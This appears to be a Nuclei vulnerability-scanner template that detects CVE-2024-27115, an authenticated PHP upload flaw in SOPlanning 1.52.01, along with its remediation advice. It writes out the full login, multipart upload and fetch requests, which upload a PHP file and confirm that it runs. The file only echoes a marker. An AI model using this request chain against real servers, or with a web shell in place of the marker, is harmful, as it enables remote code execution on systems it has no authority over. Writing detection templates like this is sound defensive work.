id: CVE-2024-27115

info:
  name: SOPlanning - Remote Code Execution
  author: soonghee2@ajou.ac.kr
  severity: high
  description: |
    Detects a remote code execution vulnerability in SOPlanning version 1.52.01 through authenticated PHP file upload.
  impact: |
    Authenticated attackers can upload and execute arbitrary PHP files through the SOPlanning upload functionality, achieving remote code execution.
  remediation: |
    Update SOPlanning to a version newer than 1.52.01.
  reference:
    - https://www.exploit-db.com/exploits/52082
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27115
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:N/AU:Y/R:I/V:C/RE:M/U:Red
    cvss-score: 10.0
    cve-id: CVE-2024-27115
    cwe-id: CWE-434
    epss-score: 0.81794
    epss-percentile: 0.99212
    cpe: cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:*
  tags: cve,cve2024,soplanning,rce,authenticated,file-upload,intrusive,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /process/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}

      - |
        POST /process/upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=0ccdfeede39eb97743b39d87536933e1

        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="linkid"

        soonghee
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="periodeid"

        0
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="fichiers"

        {{randstr}}.php
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="type"

        upload
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="fichier-0"; filename="{{filename}}.php"
        Content-Type: application/x-php

        <?php echo '{{randstr}}'; ?>
        --0ccdfeede39eb97743b39d87536933e1--

      - |
        GET /upload/files/soonghee/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '{{randstr}}'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f55113b3e14546ce1b8b3be2c0c540d90b9ebe8de8d8e47d4abbe163d9c4377802210095f69d3c18d5aa8ddd2e42ce7993fd38d15acc97cfcd463df25c2738dec65fcf:922c64590222798bb761d5b6d8e72950